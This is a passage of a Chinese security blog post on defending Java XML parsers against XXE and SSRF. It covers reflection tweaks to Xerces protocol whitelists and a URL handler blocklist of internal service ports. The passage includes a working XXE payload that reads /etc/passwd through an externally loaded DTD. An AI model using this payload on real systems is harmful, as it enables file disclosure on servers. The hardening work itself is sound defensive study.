<span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Object <span class="code-snippet__title">getField</span>(<span class="code-snippet__params">Object <span class="code-snippet__keyword">object</span>, String fieldName</span>)</span> {</span></code><code><span class="code-snippet_outer">        Field declaredField;</span></code><code><span class="code-snippet_outer">        Class clazz = <span class="code-snippet__keyword">object</span>.getClass();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (clazz != Object.class) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                declaredField = clazz.getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">                declaredField.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> declaredField.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__keyword">object</span>);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (NoSuchFieldException | IllegalAccessException e) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            clazz = clazz.getSuperclass();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">设置</span><span style="font-size: 16px;">disallow-doctype-decl：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6707193515704154" data-s="300,640" style="" data-type="png" data-w="1974" src="https://wechat2rss.xlab.app/img-proxy/?k=07643a96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaIibibia9PrTzfyfxtZujwfzp47FUynibdyAyXibEEhjO5GYvaO657VoHmfw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">设置</span>FEATURE_SECURE_PROCESSING：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5474747474747474" data-s="300,640" style="" data-type="png" data-w="1980" src="https://wechat2rss.xlab.app/img-proxy/?k=a1f29f9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzazvH43KzUVb4UrkIEcHzUEQ0DqgUlOzw8hCKFkD1D5wE6byichibsRt8g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.58948432760364" data-s="300,640" style="" data-type="png" data-w="1978" src="https://wechat2rss.xlab.app/img-proxy/?k=7048287f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uza80U8ltTia8C3yosPkxIzd57vzq8zFvRGde29lncQem8ldjQQOG7JCFw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);font-family: Arial;">更多Feature可查看</span>Xerces的官网阅读相关文档<a href="https://xerces.apache.org。" target="_blank">https://xerces.apache.org。</a></p><p><strong><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">那如果我们希望Feature只禁用部分协议而非全部怎么办？</span></strong></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">跟进DocumentBuilder的parser方法，看看</span>FEATURE_SECURE_PROCESSING这条Feature是怎么实现的。</p><p>前面的解析逻辑比较冗杂，有兴趣的师傅可以跟一下，Entity的处理逻辑主要在于调用此处的XMLEntityManager.startEntity()方法:</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=dedede8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzao9Pr3JicwQaA3xd0CcLZIC2suRibTJYwWJkWO0PAH7LH1y6jkLGoTib5g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);font-family: Arial;">在判断该实体属于外部实体后，</span>XMLEntityManager将会执行一个checkAccess()方法:<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=fab8ccd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzawLLQC09UAdN9nrhJcGBicP8452VR377FoIlesbIWsyl6kGOZcDSzC2Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=c9b9deb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaAQWIJKibiaxvWIWPESvzM5CDtTOhtgJI7qmEgPkoUaqOxWxGiaUumI2nQ%2F640%3Fwx_fmt%3Dpng"/></p><p>allowedProctocols字段默认为空，查看的传入位置：<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=2358c530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaItb1iaBegVqDgeHqIJhl22kyeqibrpa7bpCzqysc4lNu8HJ27CSXeZ5Q%2F640%3Fwx_fmt%3Dpng"/></p><p>搜索allowedProctocols赋值操作的函数，发现每一次的parser操作都会触发reset()方法，XMLEntityManager会从XMLSecurityPropertyManager中获取字段给allowedProctocols赋值。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=4101d12c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaULaEME8Q4frte9T54XpeFnZsxiawdmbgic3xYzv2V0c26AYj02lvmSdQ%2F640%3Fwx_fmt%3Dpng"/></p><p>so，直接从对象中反射修改该字段即可：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span>[] wlist =  (<span class="code-snippet__built_in">String</span>[])getField(getField(builder,<span class="code-snippet__string">&#34;fSecurityPropertyMgr&#34;</span>),<span class="code-snippet__string">&#34;values&#34;</span>);</span></code><code><span class="code-snippet_outer">wlist[<span class="code-snippet__number">0</span>] = <span class="code-snippet__string">&#34;file&#34;</span>;</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=a22c235a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzamBVmvb2YVajzasYmw6DBBuTm8ZDuib0z1Nzzs5iaDqQQUEufU6p0lTDg%2F640%3Fwx_fmt%3Dpng"/></p><p>成功通过checkAccess：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6214285714285714" data-s="300,640" style="" data-type="png" data-w="1960" src="https://wechat2rss.xlab.app/img-proxy/?k=425c0795&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaSIZj5ic35BXKHDUnQheGK6MIWVcssEmLEygvtZK5ExuhpN2dRcSHnsQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: justify;"></span></p><p>仅放行http：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span>[] wlist =  (<span class="code-snippet__built_in">String</span>[])getField(getField(builder,<span class="code-snippet__string">&#34;fSecurityPropertyMgr&#34;</span>),<span class="code-snippet__string">&#34;values&#34;</span>);</span></code><code><span class="code-snippet_outer">wlist[<span class="code-snippet__number">0</span>] = <span class="code-snippet__string">&#34;http&#34;</span>;</span></code></pre></section><p>远程加载的实体也需要经过上述过程，外部引用dtd自然无法绕过：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">//evil.dtd</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">!ENTITY</span>  <span class="code-snippet__attr">a</span> <span class="code-snippet__attr">SYSTEM</span> &#34;<span class="code-snippet__attr">file:</span>///<span class="code-snippet__attr">etc</span>/<span class="code-snippet__attr">passwd</span>&#34;&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">//payload</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE c [</span></span></code><code><span class="code-snippet_outer">&lt;!ENTITY % b SYSTEM &#34;<a href="http://127.0.0.1:4444/evil.dtd" target="_blank">http://127.0.0.1:4444/evil.dtd</a>&#34;&gt;</span></code><code><span class="code-snippet_outer">        %b;</span></code><code><span class="code-snippet_outer">        ]&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">c</span>&gt;</span>&amp;a;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">c</span>&gt;</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5333333333333333" data-s="300,640" style="" data-type="png" data-w="1950" src="https://wechat2rss.xlab.app/img-proxy/?k=7ecf558d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaiay5b73ibH71KVRUYQ3ibdibVFltQzYdNBO2sjQ3x7DtvMvxMicCuLFMIbw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 18px;">3.更近一步</span></p><p>现在我们已经可以自定义可使用的URL协议白名单，那有没有更精确一点的判断方法？（比如业务中本身就会使用http与file等常见的协议）</p><p><span style="font-weight: bold;font-size: 16px;">URLhandler</span></p><p>很自然的我们会想到从URL协议处理器本身下手：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7893789378937894" data-s="300,640" style="" data-type="png" data-w="2222" src="https://wechat2rss.xlab.app/img-proxy/?k=3b17a68a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaUGiaHGMceT9ZvTxvibffYf060yoh2LEzDEWiaWEBOOzqmc6GGBVfeXrRw%2F640%3Fwx_fmt%3Dpng"/></p><p>稍微跟一下可以看到用于获取handler的<span style="color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: Arial;font-size: 17px;">getURLStreamHandler</span>方法：<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=60dca834&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzarWUFgVplGtzCS2gnTUP8iclWrmn4YTuzaNRbuJAF1z1lwRRI4nIia0zA%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> URLStreamHandler getURLStreamHandler(<span class="code-snippet__built_in">String</span> protocol) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    URLStreamHandler handler = handlers.get(protocol);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (handler == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">boolean</span> checkedWithFactory = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// Use the factory (if any)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (factory != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">            handler = factory.createURLStreamHandler(protocol);</span></code><code><span class="code-snippet_outer">            checkedWithFactory = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// Try java protocol handler</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (handler == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">String</span> packagePrefixList = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            packagePrefixList</span></code><code><span class="code-snippet_outer">                = java.security.AccessController.doPrivileged(</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">new</span> sun.security.action.GetPropertyAction(</span></code><code><span class="code-snippet_outer">                    protocolPathProp,<span class="code-snippet__string">&#34;&#34;</span>));</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (packagePrefixList != <span class="code-snippet__string">&#34;&#34;</span>) {</span></code><code><span class="code-snippet_outer">                packagePrefixList += <span class="code-snippet__string">&#34;|&#34;</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// REMIND: decide whether to allow the &#34;null&#34; class prefix</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// or not.</span></span></code><code><span class="code-snippet_outer">            packagePrefixList += <span class="code-snippet__string">&#34;sun.net.www.protocol&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            StringTokenizer packagePrefixIter =</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">new</span> StringTokenizer(packagePrefixList, <span class="code-snippet__string">&#34;|&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> (handler == <span class="code-snippet__literal">null</span> &amp;&amp;</span></code><code><span class="code-snippet_outer">                   packagePrefixIter.hasMoreTokens()) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">String</span> packagePrefix =</span></code><code><span class="code-snippet_outer">                  packagePrefixIter.nextToken().trim();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> clsName = packagePrefix + <span class="code-snippet__string">&#34;.&#34;</span> + protocol +</span></code><code><span class="code-snippet_outer">                      <span class="code-snippet__string">&#34;.Handler&#34;</span>;</span></code><code><span class="code-snippet_outer">                    Class&lt;?&gt; cls = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        cls = Class.forName(clsName);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (ClassNotFoundException e) {</span></code><code><span class="code-snippet_outer">                        ClassLoader cl = ClassLoader.getSystemClassLoader();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (cl != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                            cls = cl.loadClass(clsName);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (cls != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        handler  =</span></code><code><span class="code-snippet_outer">                          (URLStreamHandler)cls.newInstance();</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">// any number of exceptions can get thrown here</span></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        synchronized (streamHandlerLock) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            URLStreamHandler handler2 = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Check again with hashtable just in case another</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// thread created a handler since we last checked</span></span></code><code><span class="code-snippet_outer">            handler2 = handlers.get(protocol);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (handler2 != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> handler2;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Check with factory if another thread set a</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// factory since our last check</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!checkedWithFactory &amp;&amp; factory != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                handler2 = factory.createURLStreamHandler(protocol);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (handler2 != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// The handler from the factory must be given more</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// importance. Discard the default handler that</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// this thread created.</span></span></code><code><span class="code-snippet_outer">                handler = handler2;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Insert this handler into the hashtable</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (handler != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                handlers.put(protocol, handler);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> handler;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>在sun.net.www.protocol下我们可以看到支持的protocols以及其他的handler：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=8e538d1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaIC3Ak8yCAdT2q2MWfnxsAa4ia8XsCSKJia0vAlCuZDk5Js9nswgEUk0Q%2F640%3Fwx_fmt%3Dpng"/></p><p>同时当前的TomcatURLStreamHandlerFactory中也支持war协议：<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=618b67b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaTo5GcbleXgKfiaB4srY9Oniagpzib9ibXn1KZjgD6BMOQEXLHcQjszD2Bw%2F640%3Fwx_fmt%3Dpng"/></p><p>当时考虑的办法是通过重写Factory在调用真实handler之前加一层判断：<br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="207" data-source-title=""><section class="js_blockquote_digest"><section><p style="text-align: left;">实现 URLStreamHandlerFactory 接口，然后调用URL.setURLStreamHandlerFactory</p><p>采用这种方式的情况下，需要确保应用的其他地方没有调用 setURLStreamHandlerFactory ，因为此方法只能调用一次，如果多次调用会抛出 java.lang.Error: factory already defined. 比如在一些应用服务器的中使用的时候就要多加注意。</p></section></section></blockquote><p><br/></p><p>例如：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//设置factory</span></span></code><code><span class="code-snippet_outer">URL.setURLStreamHandlerFactory(<span class="code-snippet__keyword">new</span> testURLStreamHandlerFactory());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//testURLStreamHandlerFactory</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">testURLStreamHandlerFactory</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">URLStreamHandlerFactory</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> URLStreamHandler <span class="code-snippet__title">createURLStreamHandler</span><span class="code-snippet__params">(String protocol)</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span>(protocol.equals(<span class="code-snippet__string">&#34;http&#34;</span>))</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> testURLStreamHandler();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">testURLStreamHandler</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">sun</span>.<span class="code-snippet__title">net</span>.<span class="code-snippet__title">www</span>.<span class="code-snippet__title">protocol</span>.<span class="code-snippet__title">http</span>.<span class="code-snippet__title">Handler</span></span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> URLConnection <span class="code-snippet__title">openConnection</span><span class="code-snippet__params">(URL u)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (check(u))){</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        }<span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>.openConnection(u);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//check list</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">check</span><span class="code-snippet__params">(URL u)</span></span>{</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> a=<span class="code-snippet__number">0</span>; a&lt;list.length; a++) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (u.toString().contains(list[a])) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//blacklist</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String[] list = <span class="code-snippet__keyword">new</span> String[]{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//redis 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:6379&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//Elasticsearch 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_cat/indices&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_cat/indices&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_river/_search&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_river/_search&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_nodes&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_nodes&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_plugin/head/&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_plugin/head&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//MenCache 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:11211&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//Mongodb 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:27017&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//Zookeeper 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:2181&#34;</span>,</span></code><code><span class="code-snippet_outer">        .......</span></code><code><span class="code-snippet_outer">};</span></code></pre></section><p>后来在研究SAXParser时发现了另外一种办法。</p><p><span style="font-weight: bold;font-size: 16px;"></span></p><p><span style="font-weight: bold;font-size: 16px;">SAXParser</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">SAX（Simple API <span class="code-snippet__keyword">for</span> XML）是一种基于事件的XML文档解析器。与DOM解析器</span></code><code><span class="code-snippet_outer">不同，SAX解析器不会创建解析树。 SAX是XML的流式接口，这意味着使用SAX的</span></code><code><span 